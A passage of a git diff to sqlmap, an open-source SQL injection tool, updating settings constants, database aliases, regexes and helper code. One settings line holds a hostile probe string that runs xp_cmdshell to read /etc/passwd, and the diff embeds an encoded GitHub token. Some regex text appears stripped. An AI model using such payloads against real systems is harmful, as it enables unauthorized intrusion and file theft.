Waters for this patch. uses_libedit = False -if PLATFORM == 'mac' and _readline: +if PLATFORM == "mac" and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) diff --git a/lib/core/replication.py b/lib/core/replication.py index 01f2495a66e..2474e72b52e 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import sqlite3 -from extra.safe2bin.safe2bin import safechardecode +from lib.core.common import cleanReplaceUnicode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safechardecode class Replication(object): """ @@ -29,10 +30,10 @@ def __init__(self, dbpath): self.cursor = self.connection.cursor() except sqlite3.OperationalError as ex: errMsg = "error occurred while opening a replication " - errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) + errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) - class DataType: + class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. @@ -47,7 +48,7 @@ def __str__(self): def __repr__(self): return "" % self - class Table: + class Table(object): """ This class defines methods used to manipulate table objects. """ @@ -79,9 +80,12 @@ def insert(self, values): errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) - def execute(self, sql, parameters=[]): + def execute(self, sql, parameters=None): try: - self.parent.cursor.execute(sql, parameters) + try: + self.parent.cursor.execute(sql, parameters or []) + except UnicodeError: + self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath @@ -102,10 +106,12 @@ def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ - _ = 'SELECT * FROM %s' % self.name + query = 'SELECT * FROM "%s"' % self.name if condition: - _ += 'WHERE %s' % condition - return self.execute(_) + query += ' WHERE %s' % condition + + self.execute(query) + return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 600584de2f2..e5e1a1e76f3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,44 +9,54 @@ import re import subprocess +from lib.core.common import openFile +from lib.core.convert import getText + def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" + + >>> len(getRevisionNumber() or (' ' * 7)) == 7 + True """ retVal = None filePath = None - _ = os.path.dirname(__file__) + directory = os.path.dirname(__file__) while True: - filePath = os.path.join(_, ".git", "HEAD") - if os.path.exists(filePath): + candidate = os.path.join(directory, ".git", "HEAD") + if os.path.exists(candidate): + filePath = candidate break - else: - filePath = None - if _ == os.path.dirname(_): - break - else: - _ = os.path.dirname(_) - while True: - if filePath and os.path.isfile(filePath): - with open(filePath, "r") as f: - content = f.read() - filePath = None - if content.startswith("ref: "): - filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() - else: - match = re.match(r"(?i)[0-9a-f]{32}", content) - retVal = match.group(0) if match else None - break - else: + parent = os.path.dirname(directory) + if parent == directory: break + directory = parent + + if filePath: + with openFile(filePath, "r") as f: + content = getText(f.read()).strip() + + if content.startswith("ref: "): + ref_path = content.replace("ref: ", "").strip() + filePath = os.path.join(directory, ".git", ref_path) + + if os.path.exists(filePath): + with openFile(filePath, "r") as f_ref: + content = getText(f_ref.read()).strip() + + match = re.match(r"(?i)[0-9a-f]{40}", content) + retVal = match.group(0) if match else None if not retVal: - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - retVal = match.group(0) if match else None + try: + process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, _ = process.communicate() + match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) + retVal = match.group(0) if match else None + except: + pass return retVal[:7] if retVal else None diff --git a/lib/core/session.py b/lib/core/session.py index 9cf569b687b..c26e4dc0951 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -25,7 +25,7 @@ def setDbms(dbms): hashDBWrite(HASHDB_KEYS.DBMS, dbms) - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: diff --git a/lib/core/settings.py b/lib/core/settings.py index c54e08b3dee..d72d7051b5a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,35 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import codecs import os +import platform import random import re -import subprocess import string import sys -import types +import time -from lib.core.datatype import AttribDict from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS +from thirdparty import six # sqlmap version (...) -VERSION = "1.3.2.6" +VERSION = "1.10.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" -SITE = "http://sqlmap.org" +SITE = "https://sqlmap.org" DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" +WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner @@ -47,32 +49,43 @@ CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets -IDS_WAF_CHECK_RATIO = 0.5 +IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets -IDS_WAF_CHECK_TIMEOUT = 10 +IPS_WAF_CHECK_TIMEOUT = 10 + +# Timeout used in checking for existence of live-cookies file +LIVE_COOKIES_TIMEOUT = 120 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# For filling in case of dumb push updates +DUMMY_JUNK = "theim1Ga" + # Markers for special cases when parameter values contain html encoded characters -PARAMETER_AMP_MARKER = "__AMP__" -PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" -BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" +PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" +PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" -URI_QUESTION_MARKER = "__QUESTION_MARK__" -ASTERISK_MARKER = "__ASTERISK_MARK__" -REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" -BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" -SAFE_VARIABLE_MARKER = "__SAFE__" +URI_QUESTION_MARKER = "__URI_QUESTION__" +ASTERISK_MARKER = "__ASTERISK__" +REPLACEMENT_MARKER = "__REPLACEMENT__" +BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" +BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" +SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" +SAFE_HEX_MARKER = "__SAFE_HEX__" +DOLLAR_MARKER = "__DOLLAR__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" +GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" @@ -85,13 +98,19 @@ TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages -PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" +PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" +# Regular expression used to detect errors in fuzz(y) UNION test +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" + +# Upper threshold for starting the fuzz(y) UNION test +FUZZ_UNION_MAX_COLUMNS = 10 + # Regular expression used for recognition of generic maximum connection messages -MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection" +MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 @@ -100,7 +119,10 @@ PRECONNECT_CANDIDATE_TIMEOUT = 10 # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) -PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",) +PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") + +# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) +IDENTYWAF_PARSE_LIMIT = 10 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 @@ -108,6 +130,9 @@ # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" +# Google Search consent cookie +GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) + # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r') + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") -ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") -ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") +ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") -MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") -H2_ALIASES = ("h2",) +H2_ALIASES = ("h2",) + ("ignite", "apache ignite") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) +DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) +MCKOI_ALIASES = ("mckoi",) +PRESTO_ALIASES = ("presto",) +ALTIBASE_ALIASES = ("altibase",) +MIMERSQL_ALIASES = ("mimersql", "mimer") +CRATEDB_ALIASES = ("cratedb", "crate") +CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) +CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") +EXTREMEDB_ALIASES = ("extremedb", "extreme") +FRONTBASE_ALIASES = ("frontbase",) +RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") +VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") +SNOWFLAKE_ALIASES = ("snowflake",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# DBMSes with upper case identifiers +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) + +# Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" +MCKOI_DEFAULT_SCHEMA = "APP" +CACHE_DEFAULT_SCHEMA = "SQLUser" + +# DBMSes where OFFSET mechanism starts from 1 +PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") @@ -289,12 +365,13 @@ "dbms", "level", "risk", - "tech", + "technique", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", + "getDbs", "getTables", "getColumns", "getSchema", @@ -326,47 +403,56 @@ # String representation for current database CURRENT_DB = "CD" +# String representation for current user +CURRENT_USER = "CU" + # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"in (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"href=['\"]file://(?P/[^'\"]+)") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", - r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", - r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", - r"(?P[^\n>]*SQL Syntax[^\n<]+)", - r"
  • Error Type:
    (?P.+?)
  • ", + r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", + r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", + r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(
    )?:\s*(?P[^<>]+)", + r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", + r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", - r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)" + r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", + r"(?Pquery error: SELECT[^<>]+)" ) # Regular expression used for parsing charset info from meta html headers META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers -META_REFRESH_REGEX = r'(?si)(?!.*?]+content="?[^">]+url=["\']?(?P[^\'">]+).*' +META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' + +# Regular expression used for parsing Javascript redirect request +JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" @@ -554,10 +659,10 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_SIZE = 1024 * 1024 +BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) -BIGARRAY_COMPRESS_LEVEL = 9 +BIGARRAY_COMPRESS_LEVEL = 4 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 @@ -566,7 +671,7 @@ TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 -# Reference: https://support.microsoft.com/en-us/kb/899149 +# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times @@ -575,20 +680,20 @@ # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 +# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections +ORDER_BY_MAX = 1000 + # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" -# Regular expression describing possible union char value (e.g. used in --union-char) -UNION_CHAR_REGEX = r"\A\w+\Z" - # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") +COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -600,10 +705,13 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw==" +GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" -# Skip unforced HashDB flush requests below the threshold number of cached items -HASHDB_FLUSH_THRESHOLD = 32 +# Flush HashDB threshold number of cached items +HASHDB_FLUSH_THRESHOLD_ITEMS = 200 + +# Flush HashDB threshold "dirty" time +HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 @@ -615,7 +723,10 @@ HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' +HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' + +# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) +PICKLE_PROTOCOL = 2 # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 @@ -624,7 +735,10 @@ SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows -HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +HASH_RECOGNITION_QUIT_THRESHOLD = 1000 + +# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 @@ -632,6 +746,9 @@ # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 +# Maximum (deliberate) delay used in page stability check +MAX_STABILITY_DELAY = 0.5 + # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 @@ -653,8 +770,8 @@ # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 -# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) -MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 +# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) +MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 @@ -662,11 +779,14 @@ # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 +# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.) +HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 + # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 -# Mark used for trimming unnecessary content in large chunks -LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" +# Mark used for trimming unnecessary content in large connection reads +LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- [RANDSTR]" @@ -677,11 +797,20 @@ # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 +# Threshold for checking types of columns in case of SQLite dump format +CHECK_SQLITE_TYPE_THRESHOLD = 100 + # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") + +# Regular expression used to search for bold-patterns +BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) + +# TLDs used in randomization of email-alike parameter values +RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names -GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 @@ -690,7 +819,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", 